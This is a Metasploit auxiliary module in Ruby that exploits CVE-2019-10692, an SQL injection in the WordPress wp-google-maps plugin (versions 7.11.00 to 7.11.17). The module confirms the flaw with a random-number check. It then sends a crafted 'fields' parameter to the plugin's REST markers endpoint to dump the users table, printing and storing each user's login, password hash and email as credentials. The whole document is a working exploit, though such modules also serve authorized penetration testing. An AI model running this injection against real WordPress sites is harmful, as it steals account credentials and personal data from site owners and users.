WordPress Google Maps Plugin SQL Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(_info = {})  
super(  
'Name' => 'WordPress Google Maps Plugin SQL Injection',  
'Description' => %q{  
This module exploits a SQL injection vulnerability in a REST endpoint  
registered by the WordPress plugin wp-google-maps between 7.11.00 and  
7.11.17 (included).  
  
As the table prefix can be changed by administrators, set DB_PREFIX  
accordingly.  
},  
'Author' => [  
'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2019-10692'],  
['WPVDB', '9249']  
],  
'DisclosureDate' => '2019-04-02'  
)  
  
register_options(  
[  
OptString.new('DB_PREFIX', [true, 'WordPress table prefix', 'wp_'])  
]  
)  
end  
  
def send_sql_request(sql_query)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => {  
'rest_route' => '/wpgmza/v1/markers',  
'filter' => '{}',  
'fields' => "#{sql_query}-- -"  
}  
)  
  
return nil if res.nil? || res.code != 200 || res.body.nil?  
  
res.body  
end  
  
def check  
mynum = Rex::Text.rand_text_numeric(8..20).to_s  
body = send_sql_request(mynum)  
return Exploit::CheckCode::Unknown if body.nil?  
return Exploit::CheckCode::Vulnerable if body.include?(mynum)  
  
Exploit::CheckCode::Unknown  
end  
  
def run  
print_status("#{peer} - Trying to retrieve the #{datastore['DB_PREFIX']}users table...")  
  
body = send_sql_request("* from #{datastore['DB_PREFIX']}users")  
fail_with(Failure::UnexpectedReply, 'No response or unexpected status code in response') if body.nil?  
  
begin  
body = JSON.parse(body)  
rescue JSON::ParserError  
fail_with(Failure::NotFound, 'Returned data is not in JSON format')  
end  
  
if body.empty?  
print_error("#{peer} - Failed to retrieve the table #{datastore['DB_PREFIX']}users")  
else  
loot = store_loot('wp_google_maps.json', 'application/json', rhost, body.to_s)  
print_good("Credentials saved in: #{loot}")  
end  
  
body.each do |user|  
print_good("#{peer} - Found #{user['user_login']} #{user['user_pass']} #{user['user_email']}")  
connection_details = {  
module_fullname: fullname,  
username: user['user_login'],  
private_data: user['user_pass'],  
private_type: :nonreplayable_hash,  
workspace_id: myworkspace_id,  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: user['user_email']  
}.merge(service_details)  
create_credential(connection_details)  
end  
end  
end  
`